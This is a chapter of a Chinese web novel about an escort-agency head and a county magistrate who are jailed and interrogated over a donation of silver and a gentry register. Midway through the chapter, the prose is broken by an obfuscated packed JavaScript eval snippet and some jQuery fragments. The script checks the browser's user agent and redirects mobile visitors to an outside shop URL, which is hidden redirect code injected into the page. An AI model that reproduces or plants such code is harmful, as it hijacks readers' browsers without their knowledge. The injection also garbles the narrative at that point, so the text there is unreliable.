徐斐然既然是祉王的人了,他出事必定要牵连祉王,那么会对太后有利?
那拖她下水又有何作用……难道是?
雨师言试探性问道:“你知不知道祉王为什么要查我们海晏镖局十年前的那个案子?”
“这个案子牵扯到户部丢失的一批盐铁,疑似流入民间,可能与你们十年前出事时押的那批货有关,所以——等等,你不知道?!”
徐斐然缓缓抬袖,捂住了自己的嘴巴。
“哦~”雨师言摸了摸下巴,笑眯眯道,“多谢含章兄,还真是知无不言言无不尽啊!”
盐铁与茶叶木材,重量差的可不是一星半点,难怪当年爹爹拼死留下血书。
漏都漏出去了,徐斐然叹了口气:“我只怕他们要拿那一千两白银来做文章,那恐怕是唯一能栽赃你我的地方。”
“那一千两白银不是我捐给你建书院的吗?我大善人名头那是有口皆碑啊!”雨师言一拍轮椅扶手。
“你的确……但我们都进牢里了,恐怕此事王爷也保不了我。”
官场艰险,淌过浑水也算是此生无憾。
徐斐然想起什么,微微抬眼看进她双眸,笑道:不过,珞舟你在民间声望高,怎么也会留你一条性命的,至于我……”
“少说这不吉利的话,”雨师言回头,往狱道那一头看过去,“我们押镖很讲这一块儿的。”
另一边,吕刺史正在彻查齐鹤县的所有账单。
“颜都尉,你在内衙可有找到什么?”吕刺史负手而立。
颜司马正是此次领兵在海晏镖局拿人的将领,还按照尤秉章的口供在衙门一些奇怪的地方找到了陈年赃银。
他还到徐斐然居住的内衙地毯式搜索,还真找到了一些属于这位新县令的可疑之物。
“刺史请看,这是在徐斐然房中搜出的书。”
书?吕刺史捏着自己的胡须顿了顿,你管这跟族谱一样一大叠的东西叫做书?
“还有另一本,”颜都尉招招手让属下把东西搬下来,“这是在海晏镖局中找到的。”
也是一叠族谱一样的东西,吕刺史满心疑惑翻开——啊、是地方乡绅录啊。
两本东西的内容基本一致,纸张可以看出新旧,应该是徐斐然誊抄了海晏镖局的原本。
吕刺史将海晏镖局的乡绅录翻到最后一页,水灵灵出现了“祉王”“祉王妃”“祉王世子”三位,连贵人名讳都写清楚了。
反之,徐斐然那一本就没有祉王府的资料了。
“这能说明什么呢?”吕刺史一手指一本,问。
颜都尉冷脸道:“说明二者的确有往来。海晏镖局为了拉拢县官,无所不用其极。账上还有海晏镖局给的一千两,徐斐然有罪,雨师言亦是从犯!”
“这一千两的用途,的确是要好好审审。但不能凭两本地方乡绅录定罪,”吕刺史摇了摇头,“这也只是海晏镖局给县官提供了一些当地的情况罢了,正是官民和谐的象征。”
“吕刺史是在为奸官佞臣说话么?”颜都尉拢拢眼皮,右手收紧握紧手中长枪。
吕刺史自然有看到他的态度,便摸了摸白须:“老夫只是不想冤枉了好人。海晏镖局大当家在民间声望很高,是家喻户晓的大善人。倘若我等过于怠慢,只怕会激起民愤。”
“不就是土皇帝么?这种、更应该好好治治!”颜都尉哼了一声,去审人。
监牢中。
粗面馒头,其实不错了。
雨师言咬下一口牢饭,送点水咽下去。
“没想到你居然吃得习惯,”徐斐然锤了捶胸口,有点干噎,“我还以为你们镖局伙食不错呢……”
“我以前能走镖的时候,差不多也是吃这种干粮,他们没给我们吃发霉发酸的剩饭已经很有良心了。”雨师言嚼着馒头含糊道。
天窗吹下来的风带刺似的,扎得双膝隐隐作痛,不过估计是吃了姥姥的药的缘故还能忍。
狱道又传来脚步声,雨师言转头瞧去,又是那个看起来拽拽的江州将军,也不知道他怎么称呼。
“吃完了吗?”颜都尉解开锁链,吱的一声打开牢门,“吃完了就去审讯室,好好答话!”
“等、咳咳……”坏了让风吹得想咳嗽,雨师言连连拍胸脯。
“是不是这水太凉了?”徐斐然忙放下自己的馒头,起身给她拍背,“先前那太医便说你体质寒凉、受凉对腿也不好,早知道我让他们弄些热的茶水过来了!”
颜都尉:……
贿赂朝廷命官,竟如同做了夫妻一般。
“行了吗?若是装的,罪加一等!”
“行了,咳咳,”雨师言清清嗓子,随手抹去嘴角的馒头屑,“军爷要问什么话不妨就在这里问吧,挪来挪去的多麻……”
“带走!”颜都尉背过身去斥道。
雨师言暗地里翻了个白眼,一点人情味儿都没有,居然是跟徐斐然一样的货色!
刑架上琳琅满目,她抬头望去。
还是第一次来这种地方,新鲜。
颜都尉倒也没有真的把一个双腿残废的人搞到刑架上去,只让人按住她的轮椅:“你给了徐斐然多少银子?”
“啧,”雨师言理了理衣领,“军爷,草民实在是冤枉啊——徐县令实在是清正廉洁,草民连一盒桂花糕都送不进去,便也就死了这条心了。”
“那本地方乡绅录是怎么回事?”
“徐县令初来乍到,对我们齐鹤的情况不太了解。正好草民在此地土生土长,能帮的便都帮一把嘛……”
她笑容很自然,颜都尉不为所动:“那徐斐然总去海晏镖局做什么?”
“您不是都知道两本乡绅录的事了吗?”雨师言游刃有余,“徐县令是去我那里誊抄这本东西,这东西若流出去,不得把乡里乡亲都得罪得死死的?草民哪里敢送给县令呢?”
颜都尉一时看不出什么破绽,只能切入正题:“那你为什么要给徐斐然整整一千两白银?”
“那就要问上头的贵人们了!”雨师言想都不用想开口就是倒打一耙,“您上头给建书院拨的银子不够啊!还差五千两呢,徐县令只能觍着脸上门跟我借,还不是你们的问题?”
“一千两可不是什么小数目,你凭什么给他?你想他帮你做什么事?”颜都尉死死盯着她的脸,不放过一丝一毫的表情变化。
“说实话,的确有草民的私心在……”
果然!
“草民只是想姑娘们也能去上学堂,这个私心也有错吗?”雨师言抬手捶了一下轮椅扶手,一副义愤填膺的样子,仿佛只要有人说这个私心有错她就要告到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772605|209867||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宁京般。
“少耍花招!”颜都尉瞪了她一眼,“你是为了能胜孟秋初八的那个案子吧?”
孟秋初八?那不就是……阿缘那个案子。
雨师言窄了窄眼帘,原来是这样。元善坡周家,你们有种!
“您可以去看看案卷,瞧瞧徐县令判得对不对。”她也不坐直了,松松倚着靠背,方才摆给军爷看的良民牌微笑也消失不见。
终于有些许变化了么……颜都尉冷笑一声:“‘祖父母、父母,独坐主婚。’礼法纲常是也,徐斐然的判决彻底否定了这一条,正是因为你承诺给他一千两白银,是也不是?”
“若是您觉得这么一个案子是因为我给钱了才辩得赢,那您应该去读读《大庄律·工契律》,好好看看什么叫做‘执业立契’什么叫做‘文券’,我们商人的命就不是命吗?”
一个镖局商人心里堵着一大把辛酸泪:“实在是太过分了,我们商人虽是四民之末却也是良民!有了文券还是一点活路都不给吗?”
什么“我们也要养家糊口”“培养个镖师不容易”云云,话里话外皆是说世道不公,令颜都尉不由得满头黑线。
卖惨卖的,他都有罪了。
审讯结束,轮椅推回牢房去。
兵卒又把徐斐然带去审了,雨师言回头望去。
这些人没有对她上刑,应该也不会为难徐斐然吧?
她抬头,天窗处的阳光已经有些发黄,夜晚没了阳光这牢房中恐怕就更冷了。
这腿……可得争点气啊。
徐斐然被盘问了一通,连自己没钱为书院安置典籍的事全都交代了,实在是和盘托出。
“颜都尉,可以放那位雨师大当家走了吧?”徐斐然诚恳道,“相信你也略有耳闻,她当年因守城双腿残疾,不能待在过于寒湿的地方,否则……”
“徐斐然,你好像很关心她啊?”颜都尉站起身,“如果她没有做亏心事,王爷也不会允许我等动这样一个有功之人。”
回到牢房时,徐斐然拳头紧了紧。
“军爷,能把我们两个人分开关押吗?”雨师言睁眼叫住颜都尉,也是豁出去了,“草民还未成亲,‘独坐主婚’您在意了、男女大防您不在意吗?”
颜都尉头也不回:“少说废话,安排你住哪间你就住哪间!”
啧,好拽,雨师言又是暗地里翻了个白眼。
没一会儿,她又滚着轮子悄悄挪近:“含章兄、可知这位军爷是什么职衔?”
“江州都尉颜士,曾经跟在世子所治军中征战过,也算是王爷的人吧。”
徐斐然想着这也不是什么秘密,她派人去打听也能打听到。
“什么叫‘也算是王爷的人’?”雨师言故作好奇问道,“世子的人和王爷的人不算同一阵营吗?”
“唔……世子和王爷会有政见不合的时候,所以王爷麾下有一些人不赞成世子的作风,世子麾下也有一些人不赞成王爷的作风。”
“呀,那他们父子还和睦吗?”
这种八卦……徐斐然看她眨眼又眨眼,嘴角抽了抽:“珞舟,你就别打听这个了,少说两句吧?”
“先前祉王清君侧之前的事你都敢跟我说,怎么现在不敢说了?”雨师言在牢里也没别的事干,轻轻拍了两下轮椅扶手,“说说看嘛!”